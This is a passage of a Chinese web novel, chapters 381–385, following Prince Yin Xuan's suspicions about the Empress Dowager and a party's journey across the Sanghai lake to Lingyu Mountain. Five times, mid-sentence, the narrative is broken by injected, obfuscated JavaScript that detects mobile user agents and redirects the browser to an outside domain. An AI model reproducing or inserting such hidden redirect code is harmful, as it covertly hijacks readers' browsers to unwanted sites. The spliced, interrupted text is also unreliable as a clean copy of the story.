“方嬷嬷!您在与王爷说什么呢?” 鄞玄与方嬷嬷一同侧过头去,但见一位身着藏青色官服的中年男子,自前厅肃着脸向他们走来。 方嬷嬷一见他,便倒吸一口气,惊慌地向他行礼,“费大人!” 这位费大人走上前来,向鄞玄施礼一跪,“微臣陵司司正费正平见过定北王!” “费大人请起。”鄞玄虚扶他起身,“你知晓我是谁?” 费正平起身后,向鄞玄拱手恭敬道:“下官收到了皇上的旨意,准许定北王随时前来皇陵祭奠先帝后与良太妃。所以下官斗胆猜测,您正是定北王爷。” “大人猜的不错,在下正是定北王。” 二人对话至此,费正清忽然望向一旁的方嬷嬷,表情蓦地沉了下来,语气冷硬道: “方嬷嬷,你若是想告老回乡,向本官提交一封请信便可。为何要用此事叨扰王爷?” 方嬷嬷似乎很是畏惧费正平,神色惶恐,“大人恕罪,是老奴失礼了。” 费正平垂下眼眸,用余光警告似地瞥了她一眼,“此地没有你的事。你可以退下了。” 第381章 381.鄞玄的猜测 费正平垂下眼眸,用余光警告似地瞥了她一眼,“此地没有你的事。你可以退下了。” “是,大人!”方嬷嬷忙不迭起身,向鄞玄与费正平施礼后便快步离开了此地。 随后,费正平与鄞玄客套了几句,又带着他在先帝后陵园散步一圈,为他讲起先帝下葬时的仪仗细节等等。 鄞玄心不在焉地听着,脑中还一直盘绕着方嬷嬷方才所说的话。 她从前是孝仁皇后宫里的,为何要听命于当今太后来为孝仁皇后守灵?甚至想告老还乡还要请示太后? 且最后方嬷嬷还有话要说,却被费正平打断。费正平显然是不想让她再说下去,才将她支走。 到底是何事如此谨慎? 看来此间还有蹊跷。待他下回来时,再向她细细询问一二。 从皇陵回到定北王府,鄞玄才得知上午慕怀灵和朱雀白虎来了王府,将冷锋流星薅出去陪他们逛街去了。 鄞玄无奈地笑着摇摇头,自己麾下的这两位副将和先锋,还真是艳福不浅。 而自己呢,年过三十仍旧孑然一身。怨不得景逸和朝堂百官笑话他了。 但让他寻一位的王妃也并非易事。因为他自己都不清楚自己喜欢什么样的女人。 思及此,一位清雅妍丽的女子面容,霎时浮现在鄞玄的脑海。 意识到自己竟会想到她,鄞玄整个人一凛,极快地摇摇头将她的身影赶出自己的脑海。 同时在心中谴责自己,鄞玄啊鄞玄,你怎能对兄弟的夫人产生那种想法。 绝对不可! 今后若是再有这种逾越的想法,自己定要惩罚自己。 不过,若是今后能再遇上一位似她那般的姑娘,或许自己会考虑成亲也说不定。 待鄞玄在府中用过午膳,冷锋与流星才姗姗回到府中。 “王爷,怀灵小姐上午来找我们上街。我与流星便陪着她们出去逛了许久,直到这会儿才回府,望王爷恕罪。” 冷锋流星一回府,便前往鄞玄的院落向他说明情况。 鄞玄大度地说:“无碍。你们也有一个月未见了。过几日你们又要再去沧源镇。今日有空陪她们出去逛逛也好。” 冷锋流星听罢,终于松了口气。只要王爷不责怪他们在当前紧要关头,还想着儿女情长就好。 心情放松后,向来话多活泼的流星,将他们今天听到的关于灵屿山和玉拂尘的事,告诉了鄞玄。 “听朱雀说那玉拂尘是一件至宝,法力强大。钦天监监正卫颐大人也想将之据为己有。而据慕侯爷与夫人推测,卫大人就是在那面铜镜上施法的人。” 鄞玄一震,冷锋随后又将他们的推理过程讲给鄞玄。 听罢,鄞玄忽然觉得有些事想的通了。 他记得母妃还在世时,当朝太后还只是淑妃,且未有自己的子嗣。 难道从那时起,太后便与卫颐勾结,利用妖术谋害母妃吗? 思及此,鄞玄感到一股森然寒意,从心底慢慢爬了上来。 他从未想过,看似和蔼纯良的太后,竟是此事的幕后黑手。 恍然间,鄞玄又想起了上午在皇陵遇见的方嬷嬷。一个大胆的猜想忽然在他的脑海中浮现。 太后既然可以指使卫颐谋害母妃,那么,她会不会也指使卫颐,去谋害孝任皇后? 不知为何,他有种预感,此事背后,或许还藏着更大的秘密。 “王爷?王爷?” 鄞玄神思游离间,蓦地被流星的声音拉回了意识,“嗯?” 流星继续道:“王爷,若卫颐真如慕侯爷所说,野心极大,那么我等必不能让他取到玉拂尘。 慕侯爷与夫人此去灵屿山定然危机重重。为保万无一失,属下愿随他们同去,为夺取玉拂尘奉上自己的绵薄之力。” 望着跪在自己身前,英气勃发的流星,鄞玄思忖片刻便道:“好,本王准了!你此去定要助怀瑾他们拿到玉拂尘!” 流星利落抱拳,朗声道:“是王爷!属下定不负您的厚望!” 鄞玄拍拍他的肩膀示意他起身,接着又意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034156|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味深长地笑道:“你想随他们去灵屿山,是不是还因着朱雀那姑娘也会去?” 流星闻言,嘴角不由得牵起一抹略带羞赧的笑,“王爷果然料事如神。让您见笑了。” 鄞玄仅理解地笑笑,由衷为他高兴,“这有何见笑之说。窈窕淑女,君子好逑。你们也是该娶妻生子的年纪。 若此次大事可成,你们就抓紧成婚吧,莫要让好姑娘等久了。” 冷锋与流星二人相视一笑,而后齐齐向鄞玄拱手下跪,“属下定鞠躬尽瘁,助王爷完成大业!” 鄞玄笑着让二人起身,而后向冷锋道:“冷锋,你还是前往沧源镇继续盯着。我不能时常离开京城。但只要我能出去,就即刻联系你。” “是,王爷!” === 徐莞与慕怀瑾又在府中休息了几日,期间整理好此去灵屿山所需的物品及法器。 五日后慕徐二人与朱雀白虎都做好了万全的准备。 果然不出白虎等人之所料,慕怀瑾还是不带慕怀灵去灵屿山。 慕怀灵郁闷之下将自己锁在院落里,好几天都不出门。 直到徐莞慕怀瑾即将出发那日,她才抑不住诱惑走出院落,来做最后的努力。 “大哥…真的不能带我去吗?我一定会乖乖的…” “大嫂,你对灵儿最好了,你就把我带上吧,你说什么我都照做。” 慕怀瑾与徐莞不约而同交换一个无奈的眼神。怀灵这孩子,还真是不死心呐。 就在众人都做好准备,打算出发时,一位意想不到之人,忽然来到了永嘉侯府。 “流星?你怎么来了?”朱雀望见来人,惊喜得难以置信。 流星向她眨眨眼,而后向慕怀瑾徐莞恭敬行礼,“流星见过侯爷、夫人!” “流星将军,今日怎会来我府上?可是鄞玄命你来的?”慕怀瑾略略疑惑问。 “是的,侯爷。”流星起身,笑着向他们道:“我家王爷听闻侯爷与夫人要去灵屿山寻玉拂尘,特命我随你们同去。” 第382章 382.百灵鸟的小莲花 “我家王爷听闻侯爷与夫人要去灵屿山寻玉拂尘,特命我随你们同去。 一来我与王爷在北疆驻守十余年,对凌霄山和桑海形势多有了解,可助您寻到灵屿山。 二来我武艺高强,也可随行保护你们。多一个帮手也能多一分胜算。” 众人听后顿时豁然开朗。 “此言极是。”慕怀瑾道:“我已离开北疆十年,关于凌霄山和桑海的许多细节已记得不甚清晰。若是有流星随我们同去,定能为我们指明方向。” 朱雀与白虎皆兴致高昂地来到流星身边,兴奋道:“是啊,流星大哥武功那么厉害。有他在,就算咱们碰到妖魔鬼怪也能被他打飞!” “哈哈哈……”众人闻言立时发出一阵爽朗大笑。 可立在一旁的慕怀灵望见流星出现,立马急了,冲到他身边问道:“流星,冷大哥呢?他跟你一起来吗?” 流星的笑容敛了敛,低头向慕怀灵道:“锋哥还是受王爷之命前往沧源镇。但是他在临走之前,托我给你带了一样东西。” 流星的话音落下,慕怀灵的表情立时落寞下来,但听到冷锋还给她带了东西,眼底又浮现出一丝光芒。 “他给我带了什么?” 随后,但见流星取下自己肩头背着的包袱,打开之后从中取出一本折叠起来的画本。 “拿上吧。锋哥专门嘱咐让我向你交待,一定要等你一个人时再打开看。” 慕怀灵小心翼翼从他手中接过,拿在手中稀罕地看了又看,十分好奇里面写了什么。 但她念着冷锋交待,一定要等她一个人时才能打开,因而强行忍下心中的好奇。 抬头一看,朱雀白虎都在探头探脑地往她手里的画本看。 慕怀灵立即将画本往自己怀里一按,扬起下巴傲娇地说:“看什么看!这是冷大哥送给我的,只能我一个人看。” 白虎见此,扯了扯嘴角调笑道:“好吧好吧。这是你冷大哥送你的,你快回屋里看吧。师父,咱们是不是该上路了?” 慕怀灵这时也不闹着要跟他们一块去了,只想尽快回到自己的闺房,看看冷锋给她留了什么。 听罢白虎的提议,慕怀瑾点头,向慕怀灵最后嘱咐道:“怀灵,我们该出发了。你在府上……” 没成想,慕怀瑾的话还没说完,慕怀灵便如一阵旋风般,抱着冷锋送的画本,转身向她的院落跑去。 慕怀瑾转过脸望向徐莞:“……” 徐莞与他相视一眼,眼中亦是无奈与尴尬。 正厅中的五人皆僵立在原地,目光追随着慕怀灵离去的背影,流下的冷汗都能灌满一池塘…… 忽然一阵风吹来,好冷…… 良久,还是流星先回过神来说:“看来怀灵小姐不会跟我们一起去了。侯爷,夫人,咱们抓紧启程吧。” 慕徐二人应了一声,五人便带着行李物品及法器等等,坐上马车离开了永嘉侯府。 另一边,跑回自己闺房的慕怀灵,关上门后抱着画本奔到床榻旁坐下,迫不及待打开了怀里的画本。 只见这本画本为折叠款式,每一页上都画着一只百灵鸟,和一朵清冷高洁的莲花。 起初,百灵鸟每日来到莲花旁唱歌,莲花却不喜欢她的歌声,一直未将花朵向她开放。 但百灵鸟没有放弃,依旧每日来看望莲花,为他浇水施肥,为他唱歌,还将自己的一片羽毛送给了他。 莲花渐渐被百灵鸟的真诚打动,正准备为她盛开时,百灵鸟却不见了踪影,十年间再也没有来过。 而百灵鸟的身影已在莲花心中扎下了根,让莲花再也忘不了她。百灵鸟送他的那根羽毛,也被他熨帖珍藏。 直到十年后的某日,他们又在一处水边相遇。 百灵鸟不慎掉进水中,莲花则用他的枝条,将百灵鸟救了上来。 但他却不知,这只百灵鸟就是曾经那只送他羽毛的可爱小鸟,且他珍藏了十年的羽毛,也因救她不知落在了哪里…… 原来,这画本中画的,正是冷锋与慕怀灵从小到大,相知相爱的故事。 清冷高洁的莲花就是冷锋,而那只可爱的百灵鸟,就是慕怀灵。 看着自己在冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045341|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋笔下化为的这只百灵鸟,慕怀灵心中欢喜不已。 她一页又一页地翻看着,看到自己与冷锋的故事用这种连环画的方式呈现出来,也觉得颇为新奇可爱。 直到翻到最后一页,慕怀灵见他们二人的故事正巧画到莲花要去远方,与百灵鸟告别。 在最后一页的下方,有两行刚毅凌厉的字体写着: “吾不善言谈文辞,但对连环画略通一二。特做此画本,将你我经历尽数画下。 愿你平安留在府中。欲知莲花后事,且待下本分解。” 下方的落款为:百灵鸟的小莲花。 看到这落款,慕怀灵的心内霎时似被静电击中,顿感一阵酥麻。又似有一只小鹿在欢快乱跳。 春心萌动间,慕怀灵只觉满世界皆是甜蜜与幸福。 慕怀灵将画本阖上,紧紧抱在怀中,嘴角上扬的弧度按都按不住。 心中暗想,她要听冷锋的话,乖乖留在府中等他。 说不定哪日,他的下一本连环画就送过来了呢。 去仙山寻宝什么的,又累又危险,就让大哥大嫂去吧! === 另一边,徐莞慕怀瑾等人的马车还在向前往北疆的路上行驶着。 从京城乘马车至北疆,需四日路程。 在出发前慕怀瑾便为他们定好了路线,白日沿着官道与县道赶路,晚间则在沿途经过的县镇休息。 由于他们只驾了一辆马车,驾车的任务自然落在了白虎和流星的身上。 慕怀瑾又无法离其他女子太近,因而朱雀一般都会在马车外,陪伴着驾车的弟弟或流星。 经过三日的赶路,他们的马车已经到了去往北疆路上的最后一座重镇——北雁关。过了北雁关后,距离凌霄山和桑海就很近了。 此时虽是六月,但越靠近北方的地区,气温便越低。 在京城他们仅需穿着轻薄的云纺或薄纱制成的衣裳,但在此地,他们却需穿着春秋时的那种厚实的袍子。 若是到了凌霄山与桑海附近,他们甚至需要穿冬季的棉服了。 第383章 383.光天化日之下辣眼睛 五人在北雁关里吃过午饭,补充了些物资,再稍作休息片刻,便继续上路。 这回轮到流星驾车,慕徐二人和朱雀白虎留在车里休息。 马车中点着熏香跟小炭火炉,暖和得让人昏昏欲睡。 方才在北雁关没睡够的徐莞,此时在摇晃温暖的马车中困意又起,不由得靠在慕怀瑾的胸口,很快便睡了过去。 慕怀瑾也没有去打扰她,任由她如何倚靠磨蹭都岿然不动。 只要徐莞舒服,他怎样都好。 白虎这小子,吃饱喝足后,也揣着手靠坐在车厢里打盹。 唯有朱雀睡不着。在车里望着其他三人都在睡觉,她尴尬又无聊,索性起身掀开车帘来到车外。 方一掀开帘子,一股冷风便向她扑面而来。朱雀连忙闪身而出,将帘子掖好,莫要让冷风灌进马车将他们冻醒。 随后抬头望去,流星正坐在车头,拉着缰绳,有一搭没一搭地用马鞭抽一下马儿,眼神怔怔望着前方,心思却已不知飞往了何处。 直到感觉身旁一沉,一只小手拍了一下他的肩膀,流星才蓦地回过神来。转头望去,来人正是朱雀。 流星立时露出一抹欣喜的笑,“朱雀!” 朱雀灵巧地在他身旁坐下,将一个暖烘烘的手炉塞进他的怀里。 “你把这个拿着。冷不冷?” 流星低头望了一眼手中的暖炉,下意识地便要还给她,“我不冷。这玩意还是你拿着吧。” 谁料,朱雀强硬地将手炉又按回他手中,“叫你拿着你就拿着!别让我担心!” 流星被她凶得愣住,好像从未在她眼中见过如此担忧关切的眼神。 一时间,流星感觉整个人都暖和了起来,但并不是因为那个手炉。 “好。”他望着她,宠溺又乖巧地笑了。 朱雀见此也不禁放松下来,向他侧头问:“在想什么?这么入神。” 流星下意识地转开了视线,望向前方的路,“没什么,只是在想我们明日到了桑海,如何寻找灵屿山而已。” 随后,流星为了转开话题,主动向朱雀问:“你不在里面休息,怎么到我这儿来了?” 随后又习惯性地想逗逗她,“难道是一刻不见我都想得慌?”说着,有意无意地抬手用手指划过她的脸颊。 朱雀立刻拍开他的手,笑骂道:“去你的!谁想你啊!我是觉得跟师父侯爷坐一起很尴尬,不知该说什么而已。” 流星脸皮极厚地笑着躲开,又反手一抬手臂勾住她的脖颈,将她拉入自己怀中。 “跟我在一块就像炮仗,跟侯爷和夫人在一块就熄火了?哈哈哈...” 流星说着,发出一阵畅爽大笑。 朱雀连忙手忙脚乱地捂住他的嘴巴,“声音小点!你想让我被师父嘲笑吗?” 流星漂亮的桃花眼笑得眯了起来,趁朱雀气的手还覆在他嘴上,极快地一抬下巴,在她手心落下一吻。 “你!”朱雀顿时像被什么扎到一般,瞬间弹了起来,抽回手瞪着流星,脸颊似苹果般又红又鼓。 流星再次动作敏捷地在她脸颊上香了一下,惹得朱雀更是心若擂鼓,脸颊烫得似要燃起火来。 “流星你...”她的话还未说完,嘴唇又被流星堵住。 这回的吻,让朱雀彻底沦陷,呆呆地睁着双眼,大脑一片空白,将自己方才想问他的话全都忘光光。 流星亦沉浸在这个甜蜜又激动人心的吻之中,但心底却划过一丝不安。 因为他怕朱雀会问他些什么,而自己却无法回答,甚至忍不住说出些什么让她怀疑。因此索性封住她的嘴,让她什么都不要问。 而这无异于饮鸩止渴。但流星却别无他法。 在马车里待得闷得慌的白虎,本想到外面坐坐透透气,顺便找姐姐和流星大哥聊聊天。 没成想刚一掀开车帘,流星大哥和姐姐嘴对嘴亲吻的一幕,就撞进他的瞳孔。 啊咧咧!他们俩怎么光天化日之下,就做这种辣眼睛的事啊! 白虎连忙放下帘子坐了回去,再侧头向后方望去。慕怀瑾和徐菀也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048161|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互相依偎着靠在马车后壁上,轻闭着眼小憩。 这可就为难了白虎。 车内是师父与侯爷相拥而憩,车外是姐姐跟姐夫甜蜜亲吻,让他这个还未弱冠的小少年如何自处? 早知道他就答应婉琳郡主做她的驸马了!哪还用跟着师父吃苦受累,还要整日受他们的刺激! 啊咧咧!这回若是能从灵屿山活着回去,他定要去找婉琳将她拿下! === 又经过一日的路程,慕怀瑾等人的马车,终于行驶至桑海附近的一个村子。 先前途径北部军营附近时,慕怀瑾有一瞬间的冲动想去看看。 但转念一想,如今他与周祎仁离开此地已十年有余,鄞玄也回了京城。此军营内早已没了他挂念之人,去了又有何意义? 况且他们此次乃秘密行动,若是让北部军营的人知晓他们来了北疆,再将消息传回京城,还不知皇上与太后会如何想他们。 思及此,慕怀瑾一行人果断去了桑海旁的村子,花了十两银子的巨款,在一户村民家借宿一晚。 此村因靠近桑海,村民皆以捕鱼打猎为生。他们借宿的这户李姓人家,家主与他的老父亲也都是以打鱼卖鱼为生。 天色渐暗,此地的气温亦降到冬日时的温度。 李兄弟在家中为他们点起火炉和暖炕,屋子里才渐渐暖和起来。 又因着他们给了十两银子,李兄弟和媳妇晚上给他们准备了一大桌湖鲜,又买了一壶好酒供他们享用,感谢他们的慷慨。 “来,各位老板,我李洪敬你们一杯!” 慕怀瑾一行五人,及村民李家四人围坐在一张大圆桌边举杯共饮。 一轮酒喝罢,众人放下酒杯,李洪兴致勃勃地向他们问道:“几位老板来到俺们这旮瘩,是为啥事儿呢?” 有十年未听过北疆人的口音,今日一听,慕怀瑾颇感亲切。随后便将他们早已商量好的说辞讲了出去。 “李兄,实不相瞒。我等皆乃道门中人。前来此地,是为寻一道门法宝。” 第384章 384.进入桑海寻仙山 “李兄,实不相瞒。我等皆乃道门中人。前来此地,是为寻一道门法宝。” 没成想,李洪未有丝毫意外,反而大大咧咧地问,“你们是不是想去灵屿山,寻什么玉拂尘?” 慕怀瑾眼底微微一亮,“正是。”接着与徐莞交换了一个眼神,继续问道:“李兄也听说过那件宝物?” 李洪握着酒杯又干了一口酒,抬起头道:“咋能没听说过呢。这些年陆陆续续来过不少道士寄宿在我们村里,都是来寻那宝物的。但是,我劝你们别去。” 见李洪一脸严肃,流星略略紧张地问:“为何?那仙山上很危险吗?” 李洪点点头压低声音道:“我听村里人说,那些来寻宝的道士,有驾着船在桑海转了好几日,没摸到仙山在哪儿,无功而返的。 有十个人去,回来只剩一个人,还啥都没捞到的。更多的是去了就没音了,直到如今都没回来,就跟人间蒸发了一样。 总之,去那里的道士没一个找到宝物的,而且凶多吉少。所以老板,我是为你们好才劝你们别去。” 慕徐等人听后,心里都有了底。看来诚如传闻所言,确实有无数道门中人寻找过玉拂尘,可都一无所获。 那么他们此行更要一举夺魁才行。 “多谢李兄提醒。”慕怀瑾道:“不过我等既然已到达此地,就没有还未探寻便原路返回一说。但我们会愈加小心,保证我们所有人全身而退。” 李洪早就料到他们会如此说,因而无奈地摇摇头,“既然你们心意已决,我多说也无用。明日一早我便带你们去船坞。你们买一条船坐船去。” “好,那就多谢李兄了。” 休整一晚后,翌日,五人收拾好必备物品,背起行囊跟随李洪向可以买船的船坞而去。 到了那里,他们挑选了一条中等大小的船,船上配了两只大桨,供人划船。 慕怀瑾还想问卖家,村里有无船工或向导,可划船带他们进桑海的。卖船的村民却连连摇头,避之而不及。 “你们若是想去桑海游玩,我还能为你们找个船工。但你们要去的可是那仙山!多少道士天师都有去无回。 所以老板们对不住了,我只能卖条船给你。其他的,你们自求多福吧。” 慕徐等人闻言也不再强求,付了十两银子后,便向李洪等村民道别,接着在码头上了船。 这条船长约八米,宽约三米,中间有一段有草棚,可容纳五至六人坐于其中休息。 由于没有船工,他们只好自己划船。而这划船之功,自然又落在了流星跟白虎身上。 上船后,几人安置好所带物品,流星和白虎便来到船尾,一人抓起一支船桨,撑住岸边操纵小船划了出去。 徐莞等人则立在船头,手持八卦罗盘查看着方向。 “那座就是凌霄山吗?”朱雀与他们一同立于船头,望着西北方不远处的那座巍峨高山问道。 徐莞抬首望去,但见明静湛蓝的天空之下,一座苍茫雪山傲然而立。 皑皑白雪覆盖在山顶之上,下方则是大片苍绿色的植被。 山体沿着东西向展开,在耀目的阳光下延绵不绝,一眼望不到头。 “对,那就是凌霄山。”慕怀瑾答道,视线亦向着凌霄山的方向,“从前随我爹与无楞国交战,都会坐船穿越桑海,到达对岸,在那边与敌军交战。” “没错!”立在船尾的流星亦感叹地说:“从前与王爷并肩作战,击退无楞国的一幕幕仿佛还在昨日。今次再来,竟是为了随侯爷寻宝,真是世事难料。” 白虎一面奋力摇动着船桨,一面朝四周茫茫无边的湖面张望,“师父,这湖面一望无际,根本没有什么仙山的踪影?我们该往哪个方向去呢?” 徐莞手持八卦罗盘,低头仔细端详,见罗盘中央的指针微微摇晃,但大体是向凌霄山的方向指去。 徐莞定了定心神,向船尾回应道:“我们往东北方行进。” “东北?”白虎朝那个方向望去,仅望见远处天幕之下的凌潇山,除此之外空无一物,“可是那边什么都没有啊?师父你确定灵屿山在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054448|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿?” 徐菀:“???”白虎这小子,居然敢质疑我? 谁知白虎的话音还未落,朱雀已来到他身边,抬手就让他吃了个**栗子,“逆徒!师父的话都敢质疑?还想不想混了?” 白虎急忙改口,“我错了我错了!师父说有绝对有!流星大哥,咱们赶紧划船吧!” 流星明白船上的两个女人都惹不得,于是忙不迭低下头,奋力将船向东北方划去。 慕怀瑾见此哑然失笑。随后又转向徐菀低低地问:“菀菀,你有把握找到灵屿山吗?” 徐菀抬眸向她扯扯嘴角,“怎么,连你也怀疑我的能力?放心吧,灵屿山好找。但上了灵屿山后,能否找到玉拂尘还是未知数。” 小船在桑海中前行了一阵,他们已看不见上船的码头,四周皆是一片无边无际的幽黑湖面。 大约划了半个时辰,湖面上雾气渐起,气温似乎也冷了不少。 白虎拉了拉自己的衣襟,有些腿软,“师父,我们快到灵屿山了吗?此地雾气越来越大,我们快辨不清方向了。” 诚然,周围的雾气已将他们的小船包围,能见度不足三米。 流星与白虎早已看不清凌霄山的方向,自然不知该往何处划。 徐莞拿着罗盘果断来到船尾,向他们二人道:“快了。八卦罗盘显示,灵屿山就在此不远处。你们再向那个方向划一阵,我看看能否找到灵屿山外围阵法的破绽。” 流星与白虎依言继续划船,但白虎心中却暗暗嘟囔着,方才他都看清了,这方圆十里皆是一片空荡荡的湖面,哪有什么仙山。 师父会不会搞错地方了呀。 正当他想到此处,忽感脚下的小船一阵摇晃。 “怎么回事!”白虎握紧船桨惊恐叫道。 但见原本平静无澜的湖面,不知从何处起了风,湖水此时竟翻涌起来,令他们的小船在波涛里直晃。 徐菀与慕怀瑾迅速扶住船上的桅杆,扬首高声道:“大家做好准备,我们已进入了灵屿山的外部结界!” 第385章 385.破解水龙阵 徐菀与慕怀瑾迅速扶住船上的桅杆,扬首高声道:“大家做好准备,我们已进入了灵屿山的外部结界!” 几人闻言即刻打起精神,聚精会神听徐菀的吩咐,“现下你们都回到窝棚里面去,抓紧船上固定之物,当心被甩到船外。我这就开始做法破阵。” 话毕,其余四人齐齐放下手里的东西,迅速钻进窝棚抓住船舷。徐菀则仍旧立在船头,迎着不断翻涌的浪花,双手结印开始做法。 “太一垂光,九曜回旋。 三清御气,万化归元。 心通造化,道合自然。” 在她念咒的同时,桑海之水翻涌地愈加剧烈,坐在船上的四人虽拉着船舷,但还是被摇晃得东倒西歪。 一个巨浪打来,船尾猛地一沉,朱雀与白虎体重较轻,竟直接被颠地飞了起来,向船坞外飞去。 流星瞬时伸臂揽住朱雀的腰,将她拉回怀中紧紧抱住。 慕怀瑾则沉稳准确地拉住白虎的手腕,随后用力一拽。不过他却没有朱雀那么好的待遇,重重摔在慕怀瑾脚边,痛得他吱哇乱叫。 “哎呦!疼死我啦!”白虎捂着摔痛的手臂倒在窝棚里,一睁眼望见,船外的水浪竟腾起数十米之高。 且数条水柱渐渐聚合在一起,最后竟形成一条粗壮骇人的水龙,在空中盘旋。 “那是...那是什么!” 慕怀瑾等人闻声探头望去,但见那条水龙高约四五十米,龙身有三人环抱那样粗。 水龙借着水势与风势,在他们的小船周围盘旋飞舞,带起水花无数,哗哗洒落而下。 水龙飞舞间,隆隆的水声伴随着高亢龙吟,令人闻之耳膜与心肺齐震。 而就在这凶猛水龙咆哮之下,徐菀宛如一位高洁飒爽的御龙神女,迎着水龙在船头高高而立。 那挺拔坚韧的背影,优雅流畅的舞咒姿态,以及强大厉然的气场,无不令船上的四人震惊钦佩。 “灵风涤秽,真火炼形。 百邪退散,千祥骈臻。 急急如紫微帝君律令敕!” 咒语舞罢,徐菀向着水龙高喝一声,一道金色符咒瞬时从她掌心飞出,逐渐扩大扩大,直至与那水龙一般大小,重重打在了水龙身上。 水龙霎时嗷叫一声,顷刻间被符咒打散,紧接着一阵哗啦之声,大片湖水从空中砸落而下,将白虎吓得抱着脑袋嗷嗷直叫,心想师父这下要被淋成落汤鸡了吧。 可出乎他的意料,徐菀周身似是有一看不见的屏障,将其护在其中。 那从高空坠落而下的湖水,尽数砸在那屏障之上。屏障中的徐菀仿若毫无知觉,静静地立在原地等待湖水落尽。 少倾,从天而降的湖水终于没了声音。原本阴暗的天光,也似乎明亮了一些。 整条小船被湖水打得湿透。船底内侧都积了脚腕那么高的一层水。 躲在窝棚里的几人,皆湿了袍子和头发,略显狼狈地慢慢走了出来,却见立在船头的徐菀依旧一袭白衣胜雪,未见丝毫沾湿或污渍,就连头发丝儿都闪着光。 随后,徐菀倏然侧过身,向他们盈盈一笑,“好了,阵法已破,我们上山吧。” 说罢,徐莞再次转身,从船头跳了下去。 其余四人这才发现,原来他们的小船已停在了一方码头旁。 再往选出一望,一座云雾缭绕的仙山,赫然出现在他们眼前。 山间植被茂密,绿树成荫。遥遥可见一条瀑布从山顶飞流而下,如一条银白巨龙,呼啸着俯冲而下,又似一条彩练直挂长空。 再加上半山腰上云雾缭绕,不时有飞鸟状生物徐徐从山间飞过,发出声声嗷鸣。远远望去,仿若仙境一般。 “师父,这就是灵屿山吗?”朱雀行至船头,双眼一瞬不瞬欣赏着前方的美景。 白虎亦一脸心驰神往,“真的是那仙山?也太美了吧。” 慕怀瑾亦为眼前之景而震撼,心中暗想,这就是他心目中仙山的模样。 “是的呀。你们还在等什么,快来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060993|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 说着,徐莞一把抓起慕怀瑾的手腕,将他从船上拉到了码头的长板路上。 慕怀瑾也从方才的惊艳中回过神来,跟随徐莞一同向岸边走去。 朱雀拉拉流星的手臂,将他从震惊中唤醒,笑着说:“喂,这就看呆了?山上一定还有更多让你大开眼界之物呢。快走吧。” 流星这才反应过来,忙拿上他们的包袱跟了上去。 踏上灵屿山的地界,徐菀不由得做了个深深的吐纳,清新微凉的空气,沿着鼻腔气管直灌进肺部,再长长地呼出去,仿佛体内的浊气也跟着一并排出,周身灵力在仙山瑞气的浸润下,都有所增长。 慕怀瑾与朱雀亦感觉神思清明、精神爽利、力大无穷,甚至整个人都轻盈了不少。也许这就是灵力增加的感觉吧。 一行五人沿着山脚慢慢进了山,徐菀将八卦罗盘交给朱雀,自己则捧着那本手札低头细看着。 “手札上记载了灵屿山四处生长着息叶草,可治山精之毒。”徐菀一面为他们读者,一面指向他们脚边的一些小腿高的低矮植物: “就是这些。它们就是息叶草,这手札上有画。看来我们行进的路线没错,就是往这个方向走。” 慕怀瑾跟在她身侧,见她说的兴致勃勃,嘴角也不禁软了下来,沉声劝道:“菀菀不急,此时刚过午时,时候还早。我们可停下来稍做歇息,吃点干粮充饥。下午再全力寻找。” 